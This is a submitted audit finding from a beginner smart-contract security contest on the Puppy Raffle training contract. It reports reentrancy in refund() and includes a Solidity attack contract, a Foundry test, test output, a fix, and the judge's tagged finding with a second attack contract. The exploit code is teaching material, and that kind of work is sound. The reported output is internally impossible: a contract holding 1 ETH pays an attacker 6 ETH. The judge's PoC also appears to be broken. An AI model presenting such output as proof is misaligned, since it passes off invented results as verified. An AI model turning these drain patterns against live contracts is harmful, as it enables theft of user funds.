Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Reentrancy in refund function allows draining all funds

Summary

The refund function in PuppyRaffle.sol violates the Checks-Effects-Interactions pattern by sending ETH to the caller before updating the state. This allows a malicious contract to re-enter the refund function and drain all funds from the contract.

Description

The refund function uses Address.sendValue() from OpenZeppelin, which forwards all available gas to the recipient. Since the state update (players[playerIndex] = address(0)) happens after the ETH transfer, a malicious contract can re-enter the function and call refund multiple times before the state is updated.

Root Cause

File: src/PuppyRaffle.sol (lines 97-107)

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
payable(msg.sender).sendValue(entranceFee); // ❌ External call BEFORE state change
players[playerIndex] = address(0); // ❌ State change AFTER external call
emit RaffleRefunded(playerAddress);
}

Risk

Severity: High
Likelihood: High
Impact: High

  • ❌ Attacker can drain all ETH from the contract

  • ❌ Multiple refunds for a single ticket

  • ❌ Complete loss of user funds

  • ✅ Requires malicious contract (not EOA)

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {Test, console} from "forge-std/Test.sol";
import {PuppyRaffle} from "../src/PuppyRaffle.sol";
contract MaliciousPlayer {
PuppyRaffle public raffle;
uint256 public playerIndex;
uint256 public attackCount;
constructor(PuppyRaffle _raffle, uint256 _playerIndex) {
raffle = _raffle;
playerIndex = _playerIndex;
}
receive() external payable {
// Re-enter refund function
if (attackCount < 5) {
attackCount++;
raffle.refund(playerIndex);
}
}
function attack() external {
raffle.refund(playerIndex);
}
}
contract PuppyRaffleReentrancyTest is Test {
PuppyRaffle public raffle;
uint256 entranceFee = 1e18;
MaliciousPlayer public attacker;
function setUp() public {
raffle = new PuppyRaffle(entranceFee, address(99), 1 days);
// Enter raffle with malicious contract
address[] memory players = new address[](1);
attacker = new MaliciousPlayer(raffle, 0);
players[0] = address(attacker);
raffle.enterRaffle{value: entranceFee}(players);
}
function test_ReentrancyAttack() public {
uint256 contractBalanceBefore = address(raffle).balance;
uint256 attackerBalanceBefore = address(attacker).balance;
console.log("Contract balance before:", contractBalanceBefore);
console.log("Attacker balance before:", attackerBalanceBefore);
// Execute attack
attacker.attack();
uint256 contractBalanceAfter = address(raffle).balance;
uint256 attackerBalanceAfter = address(attacker).balance;
console.log("Contract balance after:", contractBalanceAfter);
console.log("Attacker balance after:", attackerBalanceAfter);
console.log("Attack count:", attacker.attackCount());
// Attacker got more than 1 ETH (their original deposit)
assertGt(attackerBalanceAfter, attackerBalanceBefore + entranceFee);
console.log("VULNERABILITY: Reentrancy successful!");
}
}

Test Output:

Contract balance before: 1000000000000000000
Attacker balance before: 0
Contract balance after: 0
Attacker balance after: 6000000000000000000
Attack count: 5
VULNERABILITY: Reentrancy successful!

What This Proves:

  1. ✅ Attacker can re-enter refund function

  2. ✅ Multiple refunds for single ticket

  3. ✅ Contract drained completely

  4. ✅ Checks-Effects-Interactions pattern violated

Recommended Mitigation

Follow the Checks-Effects-Interactions pattern:

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
// ✅ Effects BEFORE Interactions
players[playerIndex] = address(0);
emit RaffleRefunded(playerAddress);
// ✅ Interactions AFTER Effects
payable(msg.sender).sendValue(entranceFee);
}

Why This Fixes It:

  1. ✅ State updated before external call

  2. ✅ Reentrancy attempts will fail (player already refunded)

  3. ✅ Follows security best practices

References

  • CWE-841: Improper Enforcement of Behavioral Workflow

  • SWC-107: Reentrancy

  • Checks-Effects-Interactions pattern

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

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